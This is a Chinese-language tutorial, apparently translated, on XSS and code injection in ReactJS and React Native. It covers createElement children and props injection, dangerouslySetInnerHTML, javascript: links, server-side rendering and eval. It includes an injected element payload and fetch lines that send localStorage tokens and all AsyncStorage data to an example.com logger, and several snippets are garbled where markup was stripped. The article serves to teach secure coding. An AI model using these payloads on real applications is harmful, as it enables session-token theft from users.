本文主要向大家介绍了React JavaScript 中的代码注入，通过具体的内容向大家展示，希望对大家学习JavaScript 有所帮助。

ReactJS是一款用于构建用户界面的JavaScript库。它能预加载web前端，给用户带来更舒适的体验。React已经实现了绝大部分的客户端逻辑（比如说React能自动编码字符串），因此开发者大抵不用担心XSS攻击。

因此，只要合理使用React，你的应用就不会有太大的安全隐患。然而这些防御措施还是会因为坏的编程习惯而失效，比方说：

使用客户端提供的对象来创建React组件 通过用户提供的href或者其它可注入的属性来渲染链接 在React中使用dangerouslySetInnerHTML 把用户提供的数据传给eval()

就像墨非定律说的那样，这些隐患随时都会产生漏洞。让我慢慢道来。

Components, Props和Elements

Component(组件)是ReactJS最基本的对象。它们就像JavaScript的函数一样，接受任意输入(就是后文的props)并返回一个React Element(元素)。一个基本的component如下：

class Welcome extends React.Component {

render() {

return

Hello, {this.props.name}

;

}

}

注意看奇葩的return，它返回的东西叫JSX。JSX是JavaScript语法的扩展，它会被自动转译成正常的JavaScript(ES5)代码。就拿下面的代码来说，虽然它们形式不一样，但功效相同：

// JSX代码

const element = (

Hello, world!

);

// 被转译过后的代码

const element = React.createElement(

‘h1’,

{className: ‘greeting’},

‘Hello, world!’

);

在React中，开发者可以用createElement()来从component类中创建新的元素：

React.createElement(

type,

[props],

[...children]

)

这个函数用了这三个参数：

type可以是html标签的名字(比如div,span)，或者是一个component类。不过在React Native中，这个参数只能被传入component props是一个包含了许多属性的列表，并且这些值要被传给element children包含了新元素的子节点

当你控制了其中的参数，你可以发动许多攻击

注入子节点

在2015年3月，Daniel LeCheminant汇报了一个 HackerOne的存储形XSS 。导致这个问题的原因是HackerOne会将客户端提供的一个对象当作children传给React.createElement()。代码大概如下：

/* 获取用户提供的参数，并将其当作JSON解析

attacker_supplied_value = JSON.parse(some_user_input)

*/

render() {

return {attacker_supplied_value};

}

JSX会被转译成这样： React.createElement("span", null, attacker_supplied_value};

当attacker_supplied_value是字符串时，该代码会返回一个span元素。不过在参数为简单对象时，这个函数也会正常执行。Daniel在props中添加dangerouslySetInnerHTML来阻止React转码HTML：

{

_isReactElement: true,

_store: {},

type: "body",

props: {

dangerouslySetInnerHTML: {

__html:

"

Arbitrary HTML

<a href=’//danlec.com'>link"

}

}

}

后来，React的元素需要有属性$$typeof: Symbol.for('react.element') 才能被正确识别。因为在注入对象时不能引用全局JavaScript Symbol，Daniel的方法也就随之失效了。

控制Element类型

虽然注入简单对象这个方法不能使用了，但是createElement的type参数支持字符串，因此注入component也还是有可能的。假设有以下代码：

// 用后端提供的字符串创建element

element_name = stored_value;

React.createElement(element_name, null);

如果stored_value被攻击者控制，那么可以通过其创建任意React component。不过这样也只能创建简单的HTML元素。为了更好地利用，攻击者必须控制新建元素时的属性参数。

注入props

我们来看看一下代码：

// 解析攻击者提供的JSON并传给createElement中

// 危险代码，请勿模仿

attacker_props = JSON.parse(stored_value)

React.createElement("span", attacker_props};

我们可以以此注入任意props参数，比方说开启dangerouslySetInnerHTML:

{"dangerouslySetInnerHTML" : { "__html": ""}}

传统XSS

一些传统的XSS攻击向量也可以被应用到ReactJS中，我将列举一些情况：

设置了dangerouslySetInnerHTML

开发者可能因种种原因启用了dangerouslySetInnerHTML：

很显然，当你控制了它的参数后，你可以注入任意JavaScript代码

可注入的属性

如果你控制了一个动态创建的a标签中的href属性，那么便可以尝试注入javascript:伪协议。还有一些HTML5的属性（formactin），也可以被用来当攻击点。

Link

当浏览器支持HTML5的import时，如下代码也会生效：

服务端渲染的HTML

为了减少页面加载的时间，人们渐渐倾向于在服务端预渲染ReactJS。在16年11月， Emilia Smith 指出因为缺乏转码， Redux 的服务端预渲染代码会导致XSS。

当然，只要在预渲染时缺乏转码，任何Web应用都会有类似问题。

基于Eval的代码注入

当你控制了一个被传入eval到执行的字符串，执行自己的代码便不在话下。不过这种情况凤毛麟角。

function antiPattern() {

eval(this.state.attacker_supplied);

}

// Or even crazier

fn = new Function("..." + attacker_supplied + "...");

fn();

持久化 session

对于现代Web应用而言，session cookies已经过时了。身处时代前沿的开发者一般在用无状态的session tokens，并将其存储在客户端的local storage。因此我们也要改变攻击手段了：

fetch('//example.com/logger.php?token='+localStorage.access_token);

React Native 中的注入

React Native让你可以用ReactJS在移动端编写程序，然而前文提到的手段大多在React Native中不管用：

React Native的createInternalComponent只接受被标签过的component类。即使你能控制createElement的所有参数，也不能创建任意元素。 HTML属性不能使用，并且HTML不会被解析，因此一般基于浏览器的XSS(比如href)不能正常执行

只有基于eval的攻击才能被执行。不过当你成功地执行了JS时，就能使用React Native的API来做破坏力更强的事，比如通过AsyncStorage盗取local storage的所有数据：

_reactNative.AsyncStorage.getAllKeys(function(err,result){_reactNative.AsyncStorage.multiGet(result,function(err,result){fetch('//example.com/logger.php?token='+JSON.stringify(result));});});

总结

即使React安全防御先天良好，坏的编程习惯依然会带来种种漏洞。我给大家带来两个忠告：

对于安全研究员：给每一个参数注入JavaScript或者JSON，可能会有意外的惊喜 对于开发者：千万不要使用eval()或dangerouslySetInnerHTML。尽可能地少解析用户提供的JSON

希望这篇文章可以帮助到你，总之同学们，IT知识尽在职坐标。